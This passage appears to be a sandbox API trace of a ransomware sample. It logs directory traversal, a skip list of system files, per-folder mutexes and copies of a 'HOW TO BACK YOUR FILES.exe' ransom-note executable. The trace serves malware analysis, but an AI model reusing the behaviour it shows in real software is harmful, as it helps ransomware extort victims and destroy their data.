returned="Document Themes 14\\HOW TO BACK YOUR FILES.exe" [0038.425] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\how to back your files.exe"), bFailIfExists=1) returned 1 [0038.429] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc419d20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc419d20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0038.429] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0038.429] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0038.429] lstrcmpiW (lpString1="MEDIA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.429] lstrcmpiW (lpString1="MEDIA", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.429] lstrcmpiW (lpString1="MEDIA", lpString2=".") returned 1 [0038.429] lstrcmpiW (lpString1="MEDIA", lpString2="..") returned 1 [0038.429] lstrcmpiW (lpString1="MEDIA", lpString2="windows") returned -1 [0038.429] lstrcmpiW (lpString1="MEDIA", lpString2="bootmgr") returned 1 [0038.429] lstrcmpiW (lpString1="MEDIA", lpString2="temp") returned -1 [0038.429] lstrcmpiW (lpString1="MEDIA", lpString2="pagefile.sys") returned -1 [0038.429] lstrcmpiW (lpString1="MEDIA", lpString2="boot") returned 1 [0038.429] lstrcmpiW (lpString1="MEDIA", lpString2="ids.txt") returned 1 [0038.429] lstrcmpiW (lpString1="MEDIA", lpString2="ntuser.dat") returned -1 [0038.429] lstrcmpiW (lpString1="MEDIA", lpString2="perflogs") returned -1 [0038.429] lstrcmpiW (lpString1="MEDIA", lpString2="MSBuild") returned -1 [0038.429] lstrlenW (lpString="MEDIA") returned 5 [0038.429] lstrcpyW (in: lpString1=0x241e88c, lpString2="MEDIA" | out: lpString1="MEDIA") returned="MEDIA" [0038.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f748 [0038.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x516210 [0038.429] lstrcatW (in: lpString1="MEDIA", lpString2="\\" | out: lpString1="MEDIA\\") returned="MEDIA\\" [0038.429] lstrcatW (in: lpString1="MEDIA\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MEDIA\\HOW TO BACK YOUR FILES.exe") returned="MEDIA\\HOW TO BACK YOUR FILES.exe" [0038.429] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\how to back your files.exe"), bFailIfExists=1) returned 1 [0038.432] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0038.432] lstrcmpiW (lpString1="Office14", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.432] lstrcmpiW (lpString1="Office14", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.432] lstrcmpiW (lpString1="Office14", lpString2=".") returned 1 [0038.432] lstrcmpiW (lpString1="Office14", lpString2="..") returned 1 [0038.432] lstrcmpiW (lpString1="Office14", lpString2="windows") returned -1 [0038.432] lstrcmpiW (lpString1="Office14", lpString2="bootmgr") returned 1 [0038.432] lstrcmpiW (lpString1="Office14", lpString2="temp") returned -1 [0038.432] lstrcmpiW (lpString1="Office14", lpString2="pagefile.sys") returned -1 [0038.432] lstrcmpiW (lpString1="Office14", lpString2="boot") returned 1 [0038.432] lstrcmpiW (lpString1="Office14", lpString2="ids.txt") returned 1 [0038.432] lstrcmpiW (lpString1="Office14", lpString2="ntuser.dat") returned 1 [0038.432] lstrcmpiW (lpString1="Office14", lpString2="perflogs") returned -1 [0038.432] lstrcmpiW (lpString1="Office14", lpString2="MSBuild") returned 1 [0038.432] lstrlenW (lpString="Office14") returned 8 [0038.432] lstrcpyW (in: lpString1=0x241e88c, lpString2="Office14" | out: lpString1="Office14") returned="Office14" [0038.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f760 [0038.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x529010 [0038.432] lstrcatW (in: lpString1="Office14", lpString2="\\" | out: lpString1="Office14\\") returned="Office14\\" [0038.432] lstrcatW (in: lpString1="Office14\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Office14\\HOW TO BACK YOUR FILES.exe") returned="Office14\\HOW TO BACK YOUR FILES.exe" [0038.432] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\how to back your files.exe"), bFailIfExists=1) returned 1 [0038.435] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0038.435] lstrcmpiW (lpString1="Stationery", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.435] lstrcmpiW (lpString1="Stationery", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.435] lstrcmpiW (lpString1="Stationery", lpString2=".") returned 1 [0038.435] lstrcmpiW (lpString1="Stationery", lpString2="..") returned 1 [0038.435] lstrcmpiW (lpString1="Stationery", lpString2="windows") returned -1 [0038.435] lstrcmpiW (lpString1="Stationery", lpString2="bootmgr") returned 1 [0038.435] lstrcmpiW (lpString1="Stationery", lpString2="temp") returned -1 [0038.435] lstrcmpiW (lpString1="Stationery", lpString2="pagefile.sys") returned 1 [0038.435] lstrcmpiW (lpString1="Stationery", lpString2="boot") returned 1 [0038.436] lstrcmpiW (lpString1="Stationery", lpString2="ids.txt") returned 1 [0038.436] lstrcmpiW (lpString1="Stationery", lpString2="ntuser.dat") returned 1 [0038.436] lstrcmpiW (lpString1="Stationery", lpString2="perflogs") returned 1 [0038.436] lstrcmpiW (lpString1="Stationery", lpString2="MSBuild") returned 1 [0038.436] lstrlenW (lpString="Stationery") returned 10 [0038.436] lstrcpyW (in: lpString1=0x241e88c, lpString2="Stationery" | out: lpString1="Stationery") returned="Stationery" [0038.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f778 [0038.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x51b058 [0038.436] lstrcatW (in: lpString1="Stationery", lpString2="\\" | out: lpString1="Stationery\\") returned="Stationery\\" [0038.436] lstrcatW (in: lpString1="Stationery\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Stationery\\HOW TO BACK YOUR FILES.exe") returned="Stationery\\HOW TO BACK YOUR FILES.exe" [0038.436] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\stationery\\how to back your files.exe"), bFailIfExists=1) returned 1 [0038.443] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0038.443] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.443] lstrcmpiW (lpString1="Templates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.443] lstrcmpiW (lpString1="Templates", lpString2=".") returned 1 [0038.443] lstrcmpiW (lpString1="Templates", lpString2="..") returned 1 [0038.444] lstrcmpiW (lpString1="Templates", lpString2="windows") returned -1 [0038.444] lstrcmpiW (lpString1="Templates", lpString2="bootmgr") returned 1 [0038.444] lstrcmpiW (lpString1="Templates", lpString2="temp") returned 1 [0038.444] lstrcmpiW (lpString1="Templates", lpString2="pagefile.sys") returned 1 [0038.444] lstrcmpiW (lpString1="Templates", lpString2="boot") returned 1 [0038.444] lstrcmpiW (lpString1="Templates", lpString2="ids.txt") returned 1 [0038.444] lstrcmpiW (lpString1="Templates", lpString2="ntuser.dat") returned 1 [0038.444] lstrcmpiW (lpString1="Templates", lpString2="perflogs") returned 1 [0038.444] lstrcmpiW (lpString1="Templates", lpString2="MSBuild") returned 1 [0038.444] lstrlenW (lpString="Templates") returned 9 [0038.444] lstrcpyW (in: lpString1=0x241e88c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0038.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f790 [0038.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x529070 [0038.444] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0038.444] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0038.444] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\how to back your files.exe"), bFailIfExists=1) returned 1 [0038.448] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0038.448] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0038.448] ReleaseMutex (hMutex=0xec) returned 1 [0038.448] CloseHandle (hObject=0xec) returned 1 [0038.448] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft SQL Server Compact Edition" | out: lpString1="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition" [0038.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509550 | out: hHeap=0x4f0000) returned 1 [0038.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c350 | out: hHeap=0x4f0000) returned 1 [0038.448] lstrlenW (lpString="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 53 [0038.449] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E5D7D4DC53E83B2FC70E431E9E3E60B7") returned 0xec [0038.449] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0038.449] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft SQL Server Compact Edition" | out: lpString1="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition" [0038.449] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0038.449] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sql server compact edition\\how to back your files.exe"), bFailIfExists=1) returned 0 [0038.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sql server compact edition\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0038.449] GetLastError () returned 0x0 [0038.449] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0038.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0038.449] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0038.449] CloseHandle (hObject=0xf4) returned 1 [0038.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.449] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0038.449] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc419d20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc419d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0038.450] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.450] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.450] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0038.450] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc419d20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc419d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.450] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.450] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.450] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0038.450] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0038.450] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc419d20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc419d20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0038.450] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0038.450] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0038.450] lstrcmpiW (lpString1="v3.5", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.450] lstrcmpiW (lpString1="v3.5", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.450] lstrcmpiW (lpString1="v3.5", lpString2=".") returned 1 [0038.450] lstrcmpiW (lpString1="v3.5", lpString2="..") returned 1 [0038.450] lstrcmpiW (lpString1="v3.5", lpString2="windows") returned -1 [0038.450] lstrcmpiW (lpString1="v3.5", lpString2="bootmgr") returned 1 [0038.450] lstrcmpiW (lpString1="v3.5", lpString2="temp") returned 1 [0038.450] lstrcmpiW (lpString1="v3.5", lpString2="pagefile.sys") returned 1 [0038.450] lstrcmpiW (lpString1="v3.5", lpString2="boot") returned 1 [0038.450] lstrcmpiW (lpString1="v3.5", lpString2="ids.txt") returned 1 [0038.450] lstrcmpiW (lpString1="v3.5", lpString2="ntuser.dat") returned 1 [0038.450] lstrcmpiW (lpString1="v3.5", lpString2="perflogs") returned 1 [0038.450] lstrcmpiW (lpString1="v3.5", lpString2="MSBuild") returned 1 [0038.450] lstrlenW (lpString="v3.5") returned 4 [0038.450] lstrcpyW (in: lpString1=0x241e8b4, lpString2="v3.5" | out: lpString1="v3.5") returned="v3.5" [0038.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c350 [0038.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x501ba8 [0038.450] lstrcatW (in: lpString1="v3.5", lpString2="\\" | out: lpString1="v3.5\\") returned="v3.5\\" [0038.451] lstrcatW (in: lpString1="v3.5\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="v3.5\\HOW TO BACK YOUR FILES.exe") returned="v3.5\\HOW TO BACK YOUR FILES.exe" [0038.451] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\how to back your files.exe"), bFailIfExists=1) returned 1 [0038.455] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0038.455] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0038.455] ReleaseMutex (hMutex=0xec) returned 1 [0038.455] CloseHandle (hObject=0xec) returned 1 [0038.455] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Sync Framework" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework") returned="C:\\Program Files\\Microsoft Sync Framework" [0038.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bcc0 | out: hHeap=0x4f0000) returned 1 [0038.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c368 | out: hHeap=0x4f0000) returned 1 [0038.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework") returned 41 [0038.455] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A34253408CD4E25E160FA487CBD9CE37") returned 0xec [0038.455] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0038.455] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Sync Framework" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework") returned="C:\\Program Files\\Microsoft Sync Framework" [0038.455] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0038.455] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\how to back your files.exe"), bFailIfExists=1) returned 0 [0038.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0038.456] GetLastError () returned 0x0 [0038.456] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0038.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0038.456] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0038.456] CloseHandle (hObject=0xf4) returned 1 [0038.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.456] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0038.456] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc43fe80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0038.456] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.456] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.456] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0038.456] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc43fe80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc43fe80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.456] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.456] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.456] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0038.456] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0038.456] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe529f1f0, ftCreationTime.dwHighDateTime=0x1d55ec4, ftLastAccessTime.dwLowDateTime=0x879b5ff0, ftLastAccessTime.dwHighDateTime=0x1d4fecb, ftLastWriteTime.dwLowDateTime=0x879b5ff0, ftLastWriteTime.dwHighDateTime=0x1d4fecb, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fairfield chester.exe", cAlternateFileName="FAIRFI~1.EXE")) returned 1 [0038.456] lstrcmpiW (lpString1="fairfield chester.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.456] lstrcmpiW (lpString1="fairfield chester.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.456] lstrcmpiW (lpString1="fairfield chester.exe", lpString2=".") returned 1 [0038.456] lstrcmpiW (lpString1="fairfield chester.exe", lpString2="..") returned 1 [0038.456] lstrcmpiW (lpString1="fairfield chester.exe", lpString2="windows") returned -1 [0038.457] lstrcmpiW (lpString1="fairfield chester.exe", lpString2="bootmgr") returned 1 [0038.457] lstrcmpiW (lpString1="fairfield chester.exe", lpString2="temp") returned -1 [0038.457] lstrcmpiW (lpString1="fairfield chester.exe", lpString2="pagefile.sys") returned -1 [0038.457] lstrcmpiW (lpString1="fairfield chester.exe", lpString2="boot") returned 1 [0038.457] lstrcmpiW (lpString1="fairfield chester.exe", lpString2="ids.txt") returned -1 [0038.457] lstrcmpiW (lpString1="fairfield chester.exe", lpString2="ntuser.dat") returned -1 [0038.457] lstrcmpiW (lpString1="fairfield chester.exe", lpString2="perflogs") returned -1 [0038.457] lstrcmpiW (lpString1="fairfield chester.exe", lpString2="MSBuild") returned -1 [0038.457] lstrlenW (lpString="fairfield chester.exe") returned 21 [0038.457] lstrcpyW (in: lpString1=0x241e89c, lpString2="fairfield chester.exe" | out: lpString1="fairfield chester.exe") returned="fairfield chester.exe" [0038.457] lstrlenW (lpString="fairfield chester.exe") returned 21 [0038.457] lstrlenW (lpString="Athena865") returned 9 [0038.457] lstrcmpiW (lpString1="ester.exe", lpString2="Athena865") returned 1 [0038.457] lstrlenW (lpString=".dll") returned 4 [0038.457] lstrcmpiW (lpString1="fairfield chester.exe", lpString2=".dll") returned 1 [0038.457] lstrlenW (lpString=".lnk") returned 4 [0038.457] lstrcmpiW (lpString1="fairfield chester.exe", lpString2=".lnk") returned 1 [0038.457] lstrlenW (lpString=".ini") returned 4 [0038.457] lstrcmpiW (lpString1="fairfield chester.exe", 